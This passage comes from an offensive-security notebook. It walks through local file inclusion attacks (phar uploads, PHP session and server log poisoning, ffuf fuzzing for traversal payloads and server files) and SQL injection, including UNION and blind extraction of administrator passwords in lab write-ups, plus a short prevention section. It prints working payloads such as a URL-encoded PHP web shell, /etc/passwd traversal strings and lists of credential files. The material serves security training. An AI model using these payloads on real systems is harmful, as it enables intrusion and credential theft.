Now, we should have a phar file called `shell.jpg`. Once we upload it to the web application, we can simply call it with `phar://` and provide its URL path, and then specify the phar sub-file with `/shell.txt` (URL encoded) to get the output of the command we specify with `(&cmd=id)`, as follows:
There is another (obsolete) LFI/uploads attack worth noting, which occurs if file uploads is enabled in the PHP configurations and the `phpinfo()` page is somehow exposed to us. However, this attack is not very common, as it has very specific requirements for it to work (LFI + uploads enabled + old PHP + exposed phpinfo()).
## Log Poisoning
Writing PHP code in a field we control that gets logged into a log file (i.e. poison/contaminate the log file), and then include that log file to execute the PHP code. For this attack to work, the PHP web application should have read privileges over the logged files, which vary from one server to another.
As was the case in the previous section, any of the following functions with Execute privileges should be vulnerable to these attacks:
| Function | Read Content | Execute | Remote URL |
| ------------------------------ | ------------ | ------- | ---------- |
| **PHP** | | | |
| `include()` / `include_once()` | ✓ | ✓ | ✓ |
| `require()` / `require_once()` | ✓ | ✓ | ✗ |
| **NodeJS** | | | |
| `res.render()` | ✓ | ✓ | ✗ |
| **Java** | | | |
| `import` | ✓ | ✓ | ✓ |
| **.NET** | | | |
| `include` | ✓ | ✓ | ✓ |
### PHP Session Poisoning
Most PHP web applications utilize PHPSESSID cookies, which can hold specific user-related data on the back-end, so the web application can keep track of user details through their cookies. These details are stored in session files on the back-end, and saved in `/var/lib/php/sessions/` on Linux and in `C:\Windows\Temp\` on Windows. The name of the file that contains our user's data matches the name of our PHPSESSID cookie with the `sess_` prefix. For example, if the PHPSESSID cookie is set to `el4ukv0kqbvoirg7nkp4dncpk3`, then its location on disk would be `/var/lib/php/sessions/sess_el4ukv0kqbvoirg7nkp4dncpk3`.
The first thing we need to do in a PHP Session Poisoning attack is to examine our PHPSESSID session file and see if it contains any data we can control and poison. So, let's first check if we have a PHPSESSID cookie set to our session:
As we can see, our PHPSESSID cookie value is `nhhv8i0o6ua4g88bkdl9u1fdsd`, so it should be stored at `/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd`. Let's try include this session file through the LFI vulnerability and view its contents:
We can see that the session file contains two values: `page`, which shows the selected language page, and `preference`, which shows the selected language. The `preference` value is not under our control, as we did not specify it anywhere and must be automatically specified. However, the `page` value is under our control, as we can control it through the `?language=` parameter.
Let's try setting the value of `page` a custom value (e.g. language parameter) and see if it changes in the session file. We can do so by simply visiting the page with `?language=session_poisoning` specified, as follows:
```
http://:/index.php?language=session_poisoning
```
Now, let's include the session file once again to look at the contents:
This time, the session file contains `session_poisoning` instead of `es.php`, which confirms our ability to control the value of `page` in the session file. Our next step is to perform the poisoning step by writing PHP code to the session file. We can write a basic PHP web shell by changing the `?language=` parameter to a URL encoded web shell, as follows:
```
http://:/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E
```
Finally, we can include the session file and use the `&cmd=id` to execute a commands:
```
http://:/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id
```
To execute another command, the session file has to be poisoned with the web shell again, as it gets overwritten with `/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd` after our last inclusion. Ideally, we would use the poisoned web shell to write a permanent web shell to the web directory, or send a reverse shell for easier interaction.
### Server Log Poisoning
Both Apache and Nginx maintain various log files, such as `access.log` and `error.log`. The `access.log` file contains various information about all requests made to the server, including each request's `User-Agent` header. As we can control the `User-Agent` header in our requests, we can use it to poison the server logs as we did above.
Once poisoned, we need to include the logs through the LFI vulnerability, and for that we need to have read-access over the logs. Nginx logs are readable by low privileged users by default (e.g. `www-data`), while the Apache logs are only readable by users with high privileges (e.g. `root/adm` groups). However, in older or misconfigured Apache servers, these logs may be readable by low-privileged users.
By default, Apache logs are located in `/var/log/apache2/` on Linux and in `C:\xampp\apache\logs\` on Windows, while Nginx logs are located in `/var/log/nginx/` on Linux and in `C:\nginx\log\` on Windows. However, the logs may be in a different location in some cases, so we may use an LFI Wordlist to fuzz for their locations, as will be discussed in the next section.
So, let's try including the Apache access log from `/var/log/apache2/access.log`, and see what we get:
As we can see, we can read the log. The log contains the remote IP address, request page, response code, and the `User-Agent` header. As mentioned earlier, the `User-Agent` header is controlled by us through the HTTP request headers, so we should be able to poison this value.
To do so, we will use Burp Suite to intercept our earlier LFI request and modify the `User-Agent` header to Apache Log Poisoning:
We may also poison the log by sending a request through cURL, as follows:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ echo -n "User-Agent: " > Poison
Dudji@htb[/htb]$ curl -s "http://:/index.php" -H @Poison
```
As the log should now contain PHP code, the LFI vulnerability should execute this code, and we should be able to gain remote code execution. We can specify a command to be executed with `(&cmd=id)`:
The `User-Agent` header is also shown on process files under the Linux `/proc/` directory. So, we can try including the `/proc/self/environ` or `/proc/self/fd/N` files (where N is a PID usually between 0-50), and we may be able to perform the same attack on these files. This may become handy in case we did not have read access over the server logs, however, these files may only be readable by privileged users as well.
Finally, there are other similar log poisoning techniques that we may utilize on various system logs, depending on which logs we have read access over. The following are some of the service logs we may be able to read:
```
/var/log/sshd.log
/var/log/mail
/var/log/vsftpd.log
```
We should first attempt reading these logs through LFI, and if we do have access to them, we can try to poison them as we did above. For example, if the ssh or ftp services are exposed to us, and we can read their logs through LFI, then we can try logging into them and set the username to PHP code, and upon including their logs, the PHP code would execute. The same applies the mail services, as we can send an email containing PHP code, and upon its log inclusion, the PHP code would execute. We can generalize this technique to any logs that log a parameter we control and that we can read through the LFI vulnerability.
## Automated Scanning
We may not need to manually exploit the LFI vulnerability in many trivial cases. There are many automated methods that can help us quickly identify and exploit trivial LFI vulnerabilities. We can utilize fuzzing tools to test a huge list of common LFI payloads and see if any of them work, or we can utilize specialized LFI tools to test for such vulnerabilities.
### Fuzzing Parameters
In many cases, the page may have other exposed parameters that are not linked to any HTML forms, and hence normal users would never access or unintentionally cause harm through. This is why it may be important to fuzz for exposed parameters, as they tend not to be as secure as public ones.
For example, we can fuzz the page for common GET parameters, as follows:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ ffuf -w /opt/useful/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://:/index.php?FUZZ=value' -fs 2287
...SNIP...
:: Method : GET
:: URL : http://:/index.php?FUZZ=value
:: Wordlist : FUZZ: /opt/useful/seclists/Discovery/Web-Content/burp-parameter-names.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response size: xxx
________________________________________________
language [Status: xxx, Size: xxx, Words: xxx, Lines: xxx]
```
Once we identify an exposed parameter that isn't linked to any forms we tested, we can perform all of the LFI tests discussed in this module. This is not unique to LFI vulnerabilities but also applies to most web vulnerabilities discussed in other modules, as exposed parameters may be vulnerable to any other vulnerability as well.
For a more precise scan, we can limit our scan to the most popular LFI parameters.
### LFI Wordlists
In many cases, we may want to run a quick test on a parameter to see if it is vulnerable to any common LFI payload, which may save us time in web applications where we need to test for various vulnerabilities.
There are a number of LFI Wordlists we can use for this scan. A good wordlist is `LFI-Jhaddix.txt`, as it contains various bypasses and common files, so it makes it easy to run several tests at once. We can use this wordlist to fuzz the `?language=` parameter we have been testing throughout the module, as follows:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ ffuf -w /opt/useful/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://:/index.php?language=FUZZ' -fs 2287
...SNIP...
:: Method : GET
:: URL : http://:/index.php?FUZZ=key
:: Wordlist : FUZZ: /opt/useful/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response size: xxx
________________________________________________
..%2F..%2F..%2F%2F..%2F..%2Fetc/passwd [Status: 200, Size: 3661, Words: 645, Lines: 91]
../../../../../../../../../../../../etc/hosts [Status: 200, Size: 2461, Words: 636, Lines: 72]
...SNIP...
../../../../etc/passwd [Status: 200, Size: 3661, Words: 645, Lines: 91]
../../../../../etc/passwd [Status: 200, Size: 3661, Words: 645, Lines: 91]
../../../../../../etc/passwd&=%3C%3C%3C%3C [Status: 200, Size: 3661, Words: 645, Lines: 91]
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd [Status: 200, Size: 3661, Words: 645, Lines: 91]
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd [Status: 200, Size: 3661, Words: 645, Lines: 91]
```
As we can see, the scan yielded a number of LFI payloads that can be used to exploit the vulnerability. Once we have the identified payloads, we should manually test them to verify that they work as expected and show the included file content.
### Fuzzing Server Files
In addition to fuzzing LFI payloads, there are different server files that may be helpful in our LFI exploitation, so it would be helpful to know where such files exist and whether we can read them. Such files include: Server webroot path, server configurations file, and server logs.
**Server Webroot**
We may need to know the full server webroot path to complete our exploitation in some cases. For example, if we wanted to locate a file we uploaded, but we cannot reach its `/uploads` directory through relative paths (e.g. `../../uploads`). In such cases, we may need to figure out the server webroot path so that we can locate our uploaded files through absolute paths instead of relative paths.
To do so, we can fuzz for the `index.php` file through common webroot paths, which we can find in wordlists for Linux or Windows. Depending on our LFI situation, we may need to add a few back directories (e.g. `../../../../`), and then add our `index.php` afterwards.
The following is an example of how we can do all of this with ffuf:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ ffuf -w /opt/useful/seclists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://:/index.php?language=../../../../FUZZ/index.php' -fs 2287
...SNIP...
:: Method : GET
:: URL : http://:/index.php?language=../../../../FUZZ/index.php
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/default-web-root-directory-linux.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response size: 2287
________________________________________________
/var/www/html/ [Status: 200, Size: 0, Words: 1, Lines: 1]
```
As we can see, the scan did indeed identify the correct webroot path at `(/var/www/html/)`. We may also use the same `LFI-Jhaddix.txt` wordlist we used earlier, as it also contains various payloads that may reveal the webroot. If this does not help us in identifying the webroot, then our best choice would be to read the server configurations, as they tend to contain the webroot and other important information, as we'll see next.
**Server Logs/Configurations**
As we have seen in the previous section, we need to be able to identify the correct logs directory to be able to perform the log poisoning attacks we discussed. Furthermore, as we just discussed, we may also need to read the server configurations to be able to identify the server webroot path and other important information (like the logs path!).
To do so, we may also use the `LFI-Jhaddix.txt` wordlist, as it contains many of the server logs and configuration paths we may be interested in. If we wanted a more precise scan, we can use wordlists for Linux or Windows, though they are not part of seclists, so we need to download them first. Let's try the Linux wordlist against our LFI vulnerability, and see what we get:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://:/index.php?language=../../../../FUZZ' -fs 2287
...SNIP...
:: Method : GET
:: URL : http://:/index.php?language=../../../../FUZZ
:: Wordlist : FUZZ: ./LFI-WordList-Linux
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response size: 2287
________________________________________________
/etc/hosts [Status: 200, Size: 2461, Words: 636, Lines: 72]
/etc/hostname [Status: 200, Size: 2300, Words: 634, Lines: 66]
/etc/login.defs [Status: 200, Size: 12837, Words: 2271, Lines: 406]
/etc/fstab [Status: 200, Size: 2324, Words: 639, Lines: 66]
/etc/apache2/apache2.conf [Status: 200, Size: 9511, Words: 1575, Lines: 292]
/etc/issue.net [Status: 200, Size: 2306, Words: 636, Lines: 66]
...SNIP...
/etc/apache2/mods-enabled/status.conf [Status: 200, Size: 3036, Words: 715, Lines: 94]
/etc/apache2/mods-enabled/alias.conf [Status: 200, Size: 3130, Words: 748, Lines: 89]
/etc/apache2/envvars [Status: 200, Size: 4069, Words: 823, Lines: 112]
/etc/adduser.conf [Status: 200, Size: 5315, Words: 1035, Lines: 153]
```
As we can see, the scan returned over 60 results, many of which were not identified with the `LFI-Jhaddix.txt` wordlist, which shows us that a precise scan is important in certain cases. Now, we can try reading any of these files to see whether we can get their content. We will read `(/etc/apache2/apache2.conf)`, as it is a known path for the apache server configuration:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ curl http://:/index.php?language=../../../../etc/apache2/apache2.conf
...SNIP...
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
...SNIP...
```
As we can see, we do get the default webroot path and the log path. However, in this case, the log path is using a global apache variable `(APACHE_LOG_DIR)`, which are found in another file we saw above, which is `(/etc/apache2/envvars)`, and we can read it to find the variable values:
As we can see, the `(APACHE_LOG_DIR)` variable is set to `(/var/log/apache2)`, and the previous configuration told us that the log files are `/access.log` and `/error.log`, which have accessed in the previous section.
### LFI Tools
Finally, we can utilize a number of LFI tools to automate much of the process we have been learning, which may save time in some cases, but may also miss many vulnerabilities and files we may otherwise identify through manual testing. The most common LFI tools are LFISuite, LFiFreak, and liffy. We can also search GitHub for various other LFI tools and scripts, but in general, most tools perform the same tasks, with varying levels of success and accuracy.
Unfortunately, most of these tools are not maintained and rely on the outdated python2, so using them may not be a long term solution. Try downloading any of the above tools and test them on any of the exercises we've used in this module to see their level of accuracy.
## File Inclusion Prevention
We should now learn how to patch these vulnerabilities and harden our systems to reduce the chances of their occurrence and reduce the impact if they do.
### File Inclusion Prevention
The most effective thing we can do to reduce file inclusion vulnerabilities is to avoid passing any user-controlled inputs into any file inclusion functions or APIs. The page should be able to dynamically load assets on the back-end, with no user interaction whatsoever. Furthermore, in the first section of this module, we discussed different functions that may be utilized to include other files within a page and mentioned the privileges each function has. Whenever any of these functions is used, we should ensure that no user input is directly going into them. Of course, this list of functions is not comprehensive, so we should generally consider any function that can read files.
### Preventing Directory Traversal
If attackers can control the directory, they can escape the web application and attack something they are more familiar with or use a universal attack chain.
The best way to prevent directory traversal is to use your programming language's (or framework's) built-in tool to pull only the filename. For example, PHP has `basename()`, which will read the path and only return the filename portion. If only a filename is given, then it will return just the filename. If just the path is given, it will treat whatever is after the final `/` as the filename. The downside to this method is that if the application needs to enter any directories, it will not be able to do it.
If you create your own function to do this method, it is possible you are not accounting for a weird edge case.
For example, in your bash terminal, go into your home directory (`cd ~`) and run the command `cat .?/.*/.?/etc/passwd`. You'll see Bash allows for the `?` and `*` wildcards to be used as a `.`. Now type `php -a` to enter the PHP Command Line interpreter and run `echo file_get_contents('.?/.*/.?/etc/passwd');`. You'll see PHP does not have the same behaviour with the wildcards, if you replace `?` and `*` with `.`, the command will work as expected.
This demonstrates there is an edge cases with our above function, if we have PHP execute bash with the `system()` function, the attacker would be able to bypass our directory traversal prevention. If we use native functions to the framework we are in, there is a chance other users would catch edge cases like this and fix it before it gets exploited in our web application.
Furthermore, we can sanitize the user input to recursively remove any attempts of traversing directories, as follows:
```php theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
while(substr_count($input, '../', 0)) {
$input = str_replace('../', '', $input);
};
```
As we can see, this code recursively removes `../` sub-strings, so even if the resulting string contains `../` it would still remove it, which would prevent some of the bypasses we attempted in this module.
### Web Server Configuration
Several configurations may also be utilized to reduce the impact of file inclusion vulnerabilities in case they occur. For example, we should globally disable the inclusion of remote files. In PHP this can be done by setting `allow_url_fopen` and `allow_url_include` to `Off`.
It's also often possible to lock web applications to their web root directory, preventing them from accessing non-web related files. The most common way to do this in today's age is by running the application within Docker. However, if that is not an option, many languages often have a way to prevent accessing files outside of the web directory. In PHP that can be done by adding `open_basedir = /var/www` in the `php.ini` file. Furthermore, you should ensure that certain potentially dangerous modules are disabled, like PHP Expect and `mod_userdir`.
If these configurations are applied, it should prevent accessing files outside the web application folder, so even if an LFI vulnerability is identified, its impact would be reduced.
### Web Application Firewall (WAF)
The universal way to harden applications is to utilize a Web Application Firewall (WAF), such as ModSecurity. When dealing with WAFs, the most important thing to avoid is false positives and blocking non-malicious requests. ModSecurity minimizes false positives by offering a permissive mode, which will only report things it would have blocked. This lets defenders tune the rules to make sure no legitimate request is blocked. Even if the organization never wants to turn the WAF to "blocking mode", just having it in permissive mode can be an early warning sign that your application is being attacked.
It is important to understand the goal of hardening is not to make your system un-hackable, meaning you cannot neglect watching logs over a hardened system because it is "secure". Hardened systems should be continually tested, especially after a zero-day is released for a related application to your system (ex: Apache Struts, RAILS, Django, etc.). In most cases, the zero-day would work, but thanks to hardening, it may generate unique logs, which made it possible to confirm whether the exploit was used against the system or not.
## Interesting Files to Read
```
/etc/passwd
/etc/shadow
/etc/hosts
/etc/crontab
/home//.ssh/id_rsa
/var/log/apache2/access.log
/var/log/auth.log
/proc/self/environ
/proc/self/cmdline
```
```
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\Windows\System32\config\SAM
C:\inetpub\logs\LogFiles\
C:\xampp\apache\logs\access.log
```
# SQL Injection
Source: https://hackbook.dudji.com/attacks/web/sql-injection
From data extraction to OS command execution — SQL injection techniques and methodology.
## Injection Points
While most SQLi occurs in WHERE clauses, vulnerabilities can appear anywhere in a query:
| Location | Example |
| -------- | ---------------------------------- |
| UPDATE | Updated values or WHERE clause |
| INSERT | Inserted values |
| SELECT | Table/column name, ORDER BY clause |
### Attack Types
* Retrieving hidden data — modify a query to return additional results
* Subverting application logic — alter query behavior to bypass checks
* UNION attacks — pull data from other tables
* Blind SQLi — exploit queries whose results aren't directly returned
### Example: Retrieving Hidden Data
Original request and query:
```
GET /products?category=Gifts
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
```
Attack 1 — comment out the rest:
```
/products?category=Gifts'--
SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1
```
Attack 2 — return all rows:
```
/products?category=Gifts'+OR+1=1--
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
```
`OR 1=1` makes the WHERE clause always true; `--` discards the trailing conditions. Result: all products returned, including unreleased ones.
### Subverting Application Logic
A typical login query:
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'
```
By submitting `administrator'--` as the username (with a blank password), the query becomes:
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
SELECT * FROM users WHERE username = 'administrator'--' AND password = ''
```
`--` comments out the password check entirely, so the attacker logs in as administrator with no password required.
### Retrieving Data from Other Tables
Using the UNION keyword, an attacker can append a second SELECT to an existing query and pull data from entirely different tables.
Original query:
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
SELECT name, description FROM products WHERE category = 'Gifts'
```
Injecting `' UNION SELECT username, password FROM users--` produces:
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
SELECT name, description FROM products WHERE category = 'Gifts'
UNION SELECT username, password FROM users--
```
The response now includes all usernames and passwords alongside the normal product results.
### Blind SQL Injection
With blind SQLi, the application doesn't return query results or error details — but the vulnerability can still be exploited. Techniques include:
* **Boolean-based** — inject a condition that changes the app's response depending on whether it's true or false (e.g. injecting into Boolean logic or triggering a divide-by-zero error)
* **Time-based** — conditionally trigger a time delay; infer truth from how long the app takes to respond
* **Out-of-band (OAST)** — trigger an external network interaction (e.g. a DNS lookup to a domain you control) to exfiltrate data directly; useful when other techniques fail
## Second-Order SQL Injection
First-order SQLi is straightforward — user input from an HTTP request is immediately incorporated into a SQL query unsafely.
Second-order (aka stored) SQLi is more subtle: the application stores the user input safely at first, but later retrieves it and incorporates it into a query unsafely. The vulnerability isn't at the point of storage — it triggers on a completely different HTTP request down the line.
## Examining the Database
SQL behaves differently across platforms — techniques that work on MySQL may not work on Oracle. Key differences include syntax for string concatenation, comments, batched queries, platform-specific APIs, and error messages.
Once a vulnerability is confirmed, fingerprinting the database helps tailor the attack. Two useful starting points:
Version detection (result reveals DB type):
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
SELECT * FROM v$version -- Oracle
```
List all tables:
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
SELECT * FROM information_schema.tables -- Most databases
```
### SQL Injection in Different Contexts
SQLi isn't limited to query strings — any input processed as SQL is a potential vector, including JSON and XML bodies.
These formats can also help bypass WAFs: filters that block keywords like `SELECT` can often be evaded by encoding or escaping characters. For example, encoding the `S` in `SELECT` as an XML escape sequence:
```xml theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
123999 SELECT * FROM information_schema.tables
```
The server decodes `S` back to `S` before passing it to the SQL interpreter — bypassing the filter while executing normally.
### How to Prevent SQL Injection
The fix for most SQLi is parameterized queries (aka prepared statements) — never concatenate user input directly into a query.
Vulnerable:
```java theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
String query = "SELECT * FROM products WHERE category = '" + input + "'";
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(query);
```
Safe:
```java theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
PreparedStatement statement = connection.prepareStatement(
"SELECT * FROM products WHERE category = ?"
);
statement.setString(1, input);
ResultSet resultSet = statement.executeQuery();
```
Parameterized queries work for WHERE, INSERT, and UPDATE values — but can't handle table/column names or ORDER BY clauses. For those, use:
* Whitelisting permitted input values
* Different logic to deliver the required behavior
One critical rule: the query string must always be a hard-coded constant — never mix in variable data of any origin, even if you think it's safe. It's easy to misjudge the origin of data, or for future code changes to introduce tainted input into what was once a trusted path.
### Examining the Database
#### Querying Version & Type
Inject provider-specific version queries to fingerprint the database:
| Database | Query |
| ---------------- | ------------------------- |
| Microsoft, MySQL | `SELECT @@version` |
| Oracle | `SELECT * FROM v$version` |
| PostgreSQL | `SELECT version()` |
Using a UNION attack:
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
' UNION SELECT @@version--
```
A response like the below confirms **Microsoft SQL Server** and reveals the exact version:
```
Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)
Mar 18 2018 09:11:49 Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2016 Standard 10.0
```
## Listing Database Contents
Query `information_schema.tables` to list all tables:
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
SELECT * FROM information_schema.tables
```
```
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
=====================================================
MyDatabase dbo Products BASE TABLE
MyDatabase dbo Users BASE TABLE
MyDatabase dbo Feedback BASE TABLE
```
Then drill into a specific table with `information_schema.columns`:
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
```
```
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE
=================================================================
MyDatabase dbo Users UserId int
MyDatabase dbo Users Username varchar
MyDatabase dbo Users Password varchar
```
Oracle doesn't have `information_schema` — use these equivalents instead:
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
SELECT * FROM all_tables -- list tables
SELECT * FROM all_tab_columns WHERE table_name = 'USERS' -- list columns
```
# Blind SQL Injection
Source: https://hackbook.dudji.com/attacks/web/sql-injection/blind-sql-injection
Extract data from databases where query results aren't returned in the HTTP response.
## What is Blind SQL Injection?
Blind SQLi is when the application is vulnerable but HTTP responses don't return query results or error details — making UNION attacks ineffective since there's nothing to read back.
## Exploiting via Conditional Responses
Consider a tracking cookie processed like this:
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
```
The app shows a **"Welcome back"** message if the query returns results — nothing otherwise. That single boolean difference is enough to extract data.
Injecting two conditions back to back:
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
xyz' AND '1'='1 ← true → "Welcome back" shown
xyz' AND '1'='2 ← false → "Welcome back" gone
```
This lets you ask yes/no questions against the database and infer data one bit at a time.
## Extracting Data Character by Character
To brute-force the `Administrator` password, test one character at a time using `SUBSTRING`:
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm
```
* "Welcome back" shown → first char is **after** `m` in the alphabet
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't
```
* No "Welcome back" → first char is **not after** `t`
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's
```
* "Welcome back" shown → first char is **`s`** ✓
Repeat for each character position until the full password is recovered.
`SUBSTRING` is called `SUBSTR` on some databases — check the SQL injection
cheat sheet.
### Lab: Conditional Response (Administrator Password Extraction)
In this lab, I exploited a blind SQL injection vulnerability in the `TrackingId` cookie to extract the `administrator` password character by character.
The application returned a different response when the injected condition evaluated to **true**, which allowed boolean-based extraction.
***
#### Working Payload
```http theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
GET / HTTP/2
Host: 0adc00e4030450ba84de4c2e00db005d.web-security-academy.net
Cookie: TrackingId=fFLn3TqBCmm6fOZe' AND SUBSTR((SELECT password FROM users WHERE username = 'administrator'), 1, 21) = 'ewlza94ll9bheae3vstzm'-- ; session=phcqNI4KVhQcLxvjczOHuCFq30LseaYV
```
The injection works because the backend query likely looks like:
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
WHERE TrackingId = ''
```
By injecting:
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
' AND --
```
I:
* Closed the original string
* Appended a boolean condition
* Commented out the rest of the original query
***
#### Mistake I Kept Making
I got stuck multiple times because I forgot to append `--` at the end of the payload.
Without the comment:
* The original query was not properly terminated
* The trailing `'` from the application broke the syntax
* The condition never evaluated correctly
Important detail: `--` must usually be followed by a space.
Correct pattern:
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
' AND --
```
***
#### Extraction Method
I used Burp Intruder to brute-force the password using prefix matching.
Strategy:
1. Start with length = 1
2. Bruteforce the first character
3. Increase substring length gradually
4. Continue expanding the known prefix
Example:
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
' AND SUBSTR((SELECT password FROM users WHERE username='administrator'), 1, 5) = 'ewlza'--
```
If the response indicated true, the prefix was correct.
I increased the substring length from 1 up to 21.
***
#### Where It Stopped Working
When I tested length 21, I stopped getting matches.
This indicated:
* The actual password length was likely 20 characters
* Comparing beyond the real length caused the condition to return false
This confirmed that the full password had been extracted.
***
#### Cleaner Alternative Approach
Instead of matching growing prefixes, a more controlled method is testing one character at a time:
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
' AND SUBSTR((SELECT password FROM users WHERE username='administrator'), 5, 1) = 'a'--
```
This avoids long prefix comparisons and reduces potential mistakes.
***
#### Key Takeaways
* Always terminate injections with `-- `.
* A missing SQL comment can completely break blind SQLi.
* If increasing substring length stops producing matches, you likely exceeded the real string length.
* Boolean-based blind SQLi works reliably when response differences exist.
* Burp Intruder is effective for structured character-by-character extraction.
***
## Error-Based Blind SQL Injection
Sometimes a query runs, but the page looks the same whether your condition is
true or false. In that case, normal boolean response checks do not help.
The workaround is to make the database throw an error only when a condition is
true. Then you infer truth from a response difference (500 error, different
page length, missing content, etc.).
### Two Common Outcomes
* Conditional error channel: trigger an error only when your condition is true.
* Verbose DB errors: in misconfigured apps, actual query data may leak directly
in error messages.
### Conditional Error Pattern
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
```
* `1=2` path returns `'a'` and usually no DB error.
* `1=1` path hits `1/0` (divide-by-zero), causing a DB error.
If the HTTP response changes between these two payloads, you can use this as a
true/false oracle.
### Extracting Data With Conditional Errors
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
xyz' AND (
SELECT CASE
WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm')
THEN 1/0
ELSE 'a'
END
FROM Users
)='a
```
One-liner (Burp-friendly):
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a
```
If the request now errors, the condition is true. If it does not, the condition
is false. Repeat this per character and position to recover the full value.
### Lab: Conditional Errors (Oracle, Administrator Password)
Vulnerable input: `TrackingId` cookie
Goal:
* Extract `administrator` password
* Log in as `administrator`
#### Step 1: Confirm Injection (Oracle)
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
' || (SELECT '' FROM dual) || '
```
If this is accepted, test a forced failure:
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
' || (SELECT '' FROM dualfiewifow) || '
```
If behavior changes, the parameter is injectable.
#### Step 2: Confirm `users` Table
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
' || (SELECT '' FROM users WHERE ROWNUM = 1) || '
```
If this works, `users` exists.
Why `ROWNUM = 1` matters:
* A scalar subquery inside `|| (...) ||` must return exactly one row.
* `(SELECT '' FROM users)` can return many rows -> Oracle throws
`ORA-01427: single-row subquery returns more than one row`.
* `(SELECT '' FROM users WHERE ROWNUM = 1)` is capped to one row -> valid.
